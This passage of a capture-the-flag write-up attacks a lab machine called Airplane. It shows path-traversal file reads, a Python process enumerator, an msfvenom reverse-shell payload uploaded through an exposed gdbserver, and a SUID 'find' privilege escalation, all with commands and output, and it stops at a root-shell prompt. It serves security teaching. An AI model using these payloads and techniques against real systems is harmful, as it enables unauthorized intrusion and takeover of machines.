</span></span><span style="display:flex;"><span>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>gnats:x:41:41:Gnats Bug-Reporting System <span style="color:#f92672">(</span>admin<span style="color:#f92672">)</span>:/var/lib/gnats:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>syslog:x:104:110::/home/syslog:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
</span></span><span style="display:flex;"><span>uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>cups-pk-helper:x:113:120:user <span style="color:#66d9ef">for</span> cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
</span></span><span style="display:flex;"><span>avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
</span></span><span style="display:flex;"><span>whoopsie:x:120:125::/nonexistent:/bin/false
</span></span><span style="display:flex;"><span>colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
</span></span><span style="display:flex;"><span>gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
</span></span><span style="display:flex;"><span>sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
</span></span><span style="display:flex;"><span>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>hudson:x:1001:1001::/home/hudson:/bin/bash
</span></span><span style="display:flex;"><span>sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
</span></span></code></pre></div><p>We have confirmed that there is an LFI and we commence enumeration looking for SSH Keys, other key configuration files without much success.  We then move our focus to the <code>/proc</code> directory and start looking at environment variables.</p>
<p>We will modify our command to look at <code>/proc/self/environ</code> as we need to output this file to our local as we will get a message stating that &ldquo;Binary output can mess up your terminal&rdquo; and then use <code>strings</code> to view the output</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#34;http://airplane.thm:8000?page=../../../../../../proc/self/environ&#34;</span> --output self
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ strings self
</span></span><span style="display:flex;"><span>LANG<span style="color:#f92672">=</span>en_US.UTF-8
</span></span><span style="display:flex;"><span>LC_ADDRESS<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_IDENTIFICATION<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_MEASUREMENT<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_MONETARY<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_NAME<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_NUMERIC<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_PAPER<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_TELEPHONE<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>LC_TIME<span style="color:#f92672">=</span>tr_TR.UTF-8
</span></span><span style="display:flex;"><span>PATH<span style="color:#f92672">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
</span></span><span style="display:flex;"><span>HOME<span style="color:#f92672">=</span>/home/hudson
</span></span><span style="display:flex;"><span>LOGNAME<span style="color:#f92672">=</span>hudson
</span></span><span style="display:flex;"><span>USER<span style="color:#f92672">=</span>hudson
</span></span><span style="display:flex;"><span>SHELL<span style="color:#f92672">=</span>/bin/bash
</span></span><span style="display:flex;"><span>INVOCATION_ID<span style="color:#f92672">=</span>377531cb1b3d4434a8655abe5980066d
</span></span><span style="display:flex;"><span>JOURNAL_STREAM<span style="color:#f92672">=</span>9:19499
</span></span></code></pre></div><p>We them have a look at <code>/proc/self/cmdline</code> and again will output this to a file and use <code>strings</code> to view it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#34;http://airplane.thm:8000?page=../../../../../../proc/self/cmdline&#34;</span> --output cmdline
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ strings cmdline
</span></span><span style="display:flex;"><span>/usr/bin/python3
</span></span><span style="display:flex;"><span>app.py
</span></span></code></pre></div><p>We can see reference to a file <code>app.py</code> and we will get the output of this file</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#34;http://airplane.thm:8000?page=../app.py&#34;</span>
</span></span><span style="display:flex;"><span>from flask import Flask, send_file, redirect, render_template, request
</span></span><span style="display:flex;"><span>import os.path
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>app <span style="color:#f92672">=</span> Flask<span style="color:#f92672">(</span>__name__<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;/&#39;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>def index<span style="color:#f92672">()</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#39;page&#39;</span> in request.args:
</span></span><span style="display:flex;"><span>        page <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;static/&#39;</span> + request.args.get<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;page&#39;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> os.path.isfile<span style="color:#f92672">(</span>page<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>            resp <span style="color:#f92672">=</span> send_file<span style="color:#f92672">(</span>page<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>            resp.direct_passthrough <span style="color:#f92672">=</span> False
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> os.path.getsize<span style="color:#f92672">(</span>page<span style="color:#f92672">)</span> <span style="color:#f92672">==</span> 0:
</span></span><span style="display:flex;"><span>                resp.headers<span style="color:#f92672">[</span><span style="color:#e6db74">&#34;Content-Length&#34;</span><span style="color:#f92672">]=</span>str<span style="color:#f92672">(</span>len<span style="color:#f92672">(</span>resp.get_data<span style="color:#f92672">()))</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> resp
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Page not found&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> redirect<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;http://airplane.thm:8000/?page=index.html&#39;</span>, code<span style="color:#f92672">=</span>302<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.route<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;/airplane&#39;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>def airplane<span style="color:#f92672">()</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> render_template<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;airplane.html&#39;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>    app.run<span style="color:#f92672">(</span>host<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;0.0.0.0&#39;</span>, port<span style="color:#f92672">=</span>8000<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>There is nothing in this which is of interest so we will move on to enumerate running processes on the system and before we do, we want to make sure that the connections are valid that we found from Rustscan.  We query <code>/proc/net/tcp</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s <span style="color:#e6db74">&#34;http://airplane.thm:8000?page=../../../../../../proc/net/tcp&#34;</span>
</span></span><span style="display:flex;"><span>  sl  local_address rem_address   st tx_queue rx_queue tr tm-&gt;when retrnsmt   uid  timeout inode                                    
</span></span><span style="display:flex;"><span>   0: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 <span style="color:#ae81ff">00000000</span>   <span style="color:#ae81ff">101</span>        <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">15592</span> <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">100</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0</span>    
</span></span><span style="display:flex;"><span>   1: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">21187</span> <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">100</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0</span>    
</span></span><span style="display:flex;"><span>   2: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 <span style="color:#ae81ff">00000000</span>     <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">17882</span> <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">100</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0</span>    
</span></span><span style="display:flex;"><span>   3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 <span style="color:#ae81ff">00000000</span>  <span style="color:#ae81ff">1001</span>        <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">20384</span> <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">100</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0</span>    
</span></span><span style="display:flex;"><span>   4: 00000000:17A0 00000000:0000 0A 00000000:00000000 00:00000000 <span style="color:#ae81ff">00000000</span>  <span style="color:#ae81ff">1001</span>        <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">19754</span> <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">100</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">0</span>    
</span></span><span style="display:flex;"><span>   5: C14A0A0A:1F40 4E4F0B0A:E412 <span style="color:#ae81ff">01</span> 00000000:00000000 00:00000000 <span style="color:#ae81ff">00000000</span>  <span style="color:#ae81ff">1001</span>        <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">67128</span> <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">0000000000000000</span> <span style="color:#ae81ff">109</span> <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">30</span> <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">7</span>   
</span></span></code></pre></div><p>What we are interested in is the local_address column which is the local address and port number of the connection.  We will use Python to quickly convert from Hex to Decimal and we can see that port 6048 is open as we got from RustScan, despite not getting any data back from NMAP.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">❯</span> python3
</span></span><span style="display:flex;"><span>Python <span style="color:#ae81ff">3.11.9</span> (main, Apr <span style="color:#ae81ff">10</span> <span style="color:#ae81ff">2024</span>, <span style="color:#ae81ff">13</span>:<span style="color:#ae81ff">16</span>:<span style="color:#ae81ff">36</span>) [GCC <span style="color:#ae81ff">13.2.0</span>] on linux
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;help&#34;</span>, <span style="color:#e6db74">&#34;copyright&#34;</span>, <span style="color:#e6db74">&#34;credits&#34;</span> <span style="color:#f92672">or</span> <span style="color:#e6db74">&#34;license&#34;</span> <span style="color:#66d9ef">for</span> more information<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> ports_hex <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;0035&#39;</span>, <span style="color:#e6db74">&#39;0016&#39;</span>, <span style="color:#e6db74">&#39;0277&#39;</span>, <span style="color:#e6db74">&#39;1F40&#39;</span>, <span style="color:#e6db74">&#39;17A0&#39;</span>, <span style="color:#e6db74">&#39;1F40&#39;</span>]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> ports_decimal <span style="color:#f92672">=</span> [int(port_hex, <span style="color:#ae81ff">16</span>) <span style="color:#66d9ef">for</span> port_hex <span style="color:#f92672">in</span> ports_hex]
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> print(ports_decimal)
</span></span><span style="display:flex;"><span>[<span style="color:#ae81ff">53</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">631</span>, <span style="color:#ae81ff">8000</span>, <span style="color:#ae81ff">6048</span>, <span style="color:#ae81ff">8000</span>]
</span></span></code></pre></div><p>To try to get some more information, we will write a quick Python Script that will scan the first 1000 process IDs and what command line arguments were passed in to see if there is anything that can help us.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python3" data-lang="python3"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>url <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://airplane.thm:8000/?page=../../../../../../proc/</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">/cmdline&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1001</span>):
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;-</span><span style="color:#ae81ff">\r</span><span style="color:#e6db74">{</span>i<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>, end<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    response <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(url<span style="color:#f92672">.</span>format(i))
</span></span><span style="display:flex;"><span>    content <span style="color:#f92672">=</span> response<span style="color:#f92672">.</span>content<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>)<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\x00</span><span style="color:#e6db74">&#39;</span>, <span style="color:#e6db74">&#39; &#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#34;Page not found&#34;</span> <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> content:
</span></span><span style="display:flex;"><span>        print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\r</span><span style="color:#e6db74">{</span>i<span style="color:#e6db74">}</span><span style="color:#e6db74"> : </span><span style="color:#e6db74">{</span>content<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><p>We have run the Python Script and have found a GDBServer that is running</p>
<pre tabindex="0"><code>❯ python3 airplane.py
&lt; --- snip ---&gt;
512 : /usr/sbin/cups-browsed
532 : /usr/sbin/NetworkManager --no-daemon
533 : /usr/sbin/NetworkManager --no-daemon
536 : /usr/bin/gdbserver 0.0.0.0:6048 airplane
539 : /usr/bin/python3 app.py
543 : /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
</code></pre><p>A quick search and we have found an article on how to exploit GDBServer at <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver">Hacktricks</a></p>
<p>We will create a binary payload and then set the execution bit.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ msfvenom -p linux/x64/shell_reverse_tcp LHOST<span style="color:#f92672">=</span>10.11.79.78 LPORT<span style="color:#f92672">=</span><span style="color:#ae81ff">4444</span> PrependFork<span style="color:#f92672">=</span>true -f elf -o binary.elf
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> No platform was selected, choosing Msf::Module::Platform::Linux from the payload
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> No arch selected, selecting arch: x64 from the payload
</span></span><span style="display:flex;"><span>No encoder specified, outputting raw payload
</span></span><span style="display:flex;"><span>Payload size: <span style="color:#ae81ff">106</span> bytes
</span></span><span style="display:flex;"><span>Final size of elf file: <span style="color:#ae81ff">226</span> bytes
</span></span><span style="display:flex;"><span>Saved as: binary.elf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>~/Hacking/Machines/THM/Airplane                                                                                v3.11.9 3s  14:26:31
</span></span><span style="display:flex;"><span>❯ chmod +x binary.elf
</span></span></code></pre></div><p>We then launch <code>gdb</code> passing in the binary file that we just created, set the remote debugger target, upload the elf file, set the remote executable file and then execute the reverse shell executable</p>
<p>NOTE:  Ensure that you have started your listener before entering the command <code>run</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ gdb binary.elf
</span></span><span style="display:flex;"><span>GNU gdb <span style="color:#f92672">(</span>Debian 13.2-1+b1<span style="color:#f92672">)</span> 13.2
</span></span><span style="display:flex;"><span>Copyright <span style="color:#f92672">(</span>C<span style="color:#f92672">)</span> <span style="color:#ae81ff">2023</span> Free Software Foundation, Inc.
</span></span><span style="display:flex;"><span>License GPLv3+: GNU GPL version <span style="color:#ae81ff">3</span> or later &lt;http://gnu.org/licenses/gpl.html&gt;
</span></span><span style="display:flex;"><span>This is free software: you are free to change and redistribute it.
</span></span><span style="display:flex;"><span>There is NO WARRANTY, to the extent permitted by law.
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;show copying&#34;</span> and <span style="color:#e6db74">&#34;show warranty&#34;</span> <span style="color:#66d9ef">for</span> details.
</span></span><span style="display:flex;"><span>This GDB was configured as <span style="color:#e6db74">&#34;x86_64-linux-gnu&#34;</span>.
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;show configuration&#34;</span> <span style="color:#66d9ef">for</span> configuration details.
</span></span><span style="display:flex;"><span>For bug reporting instructions, please see:
</span></span><span style="display:flex;"><span>&lt;https://www.gnu.org/software/gdb/bugs/&gt;.
</span></span><span style="display:flex;"><span>Find the GDB manual and other documentation resources online at:
</span></span><span style="display:flex;"><span>    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>For help, type <span style="color:#e6db74">&#34;help&#34;</span>.
</span></span><span style="display:flex;"><span>Type <span style="color:#e6db74">&#34;apropos word&#34;</span> to search <span style="color:#66d9ef">for</span> commands related to <span style="color:#e6db74">&#34;word&#34;</span>...
</span></span><span style="display:flex;"><span>Reading symbols from binary.elf...
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>No debugging symbols found in binary.elf<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>gdb<span style="color:#f92672">)</span> target extended-remote 10.10.74.193:6048
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Remote debugging using 10.10.74.193:6048
</span></span><span style="display:flex;"><span>remote put binaryReading /lib64/ld-linux-x86-64.so.2 from remote target...
</span></span><span style="display:flex;"><span>warning: File transfers from remote targets can be slow. Use <span style="color:#e6db74">&#34;set sysroot&#34;</span> to access files locally instead.
</span></span><span style="display:flex;"><span>Reading /lib64/ld-linux-x86-64.so.2 from remote target...
</span></span><span style="display:flex;"><span>Reading symbols from target:/lib64/ld-linux-x86-64.so.2...
</span></span><span style="display:flex;"><span>Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
</span></span><span style="display:flex;"><span>Reading /usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug from remote target...
</span></span><span style="display:flex;"><span>Reading symbols from target:/usr/lib/debug/.build-id/7a/e2aaae1a0e5b262df913ee0885582d2e327982.debug...
</span></span><span style="display:flex;"><span>Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
</span></span><span style="display:flex;"><span>remote put bi0x00007ffff7fd0100 in _start <span style="color:#f92672">()</span> from target:/lib64/ld-linux-x86-64.so.2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>gdb<span style="color:#f92672">)</span> remote put binary.elf /tmp/binary.elf
</span></span><span style="display:flex;"><span>Successfully sent file <span style="color:#e6db74">&#34;binary.elf&#34;</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>gdb<span style="color:#f92672">)</span> set remote exec-file /tmp/binary.elf
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>gdb<span style="color:#f92672">)</span> run
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The program being debugged has been started already.
</span></span><span style="display:flex;"><span>Start it from the beginning? <span style="color:#f92672">(</span>y or n<span style="color:#f92672">)</span> y
</span></span><span style="display:flex;"><span>Starting program:
</span></span><span style="display:flex;"><span>Reading /tmp/binary.elf from remote target...
</span></span><span style="display:flex;"><span>Reading /tmp/binary.elf from remote target...
</span></span><span style="display:flex;"><span>Reading symbols from target:/tmp/binary.elf...
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>No debugging symbols found in target:/tmp/binary.elf<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Detaching after fork from child process 33158<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Inferior <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>process 33157<span style="color:#f92672">)</span> exited normally<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>gdb<span style="color:#f92672">)</span> exit
</span></span></code></pre></div><p>We have a shell on our listener</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ nc -nlvp <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">4444</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.11.79.78<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.74.193<span style="color:#f92672">]</span> <span style="color:#ae81ff">37280</span>
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>hudson<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>hudson<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1001<span style="color:#f92672">(</span>hudson<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>We upgraded our shell and then looked for any SUID/GUID and found <code>find</code> had the SUID permissions which we have been able to use for Privilege Escalation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hudson@airplane:/opt$ ls -la /usr/bin/find
</span></span><span style="display:flex;"><span>-rwsr-xr-x <span style="color:#ae81ff">1</span> carlos carlos <span style="color:#ae81ff">320160</span> Feb <span style="color:#ae81ff">18</span>  <span style="color:#ae81ff">2020</span> /usr/bin/find
</span></span><span style="display:flex;"><span>hudson@airplane:/opt$ /usr/bin/find . -exec /bin/bash -p <span style="color:#ae81ff">\;</span> -quit
</span></span><span style="display:flex;"><span>bash-5.0$ id
